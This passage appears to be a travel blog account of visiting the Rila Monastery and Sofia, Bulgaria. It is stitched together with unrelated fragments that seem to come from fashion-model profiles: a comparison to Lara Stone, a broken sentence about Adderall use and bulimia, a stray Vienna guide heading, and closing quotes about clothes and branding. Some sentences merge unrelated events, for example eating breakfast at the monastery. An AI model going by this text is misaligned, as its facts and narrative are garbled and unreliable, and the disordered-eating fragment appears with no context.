We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.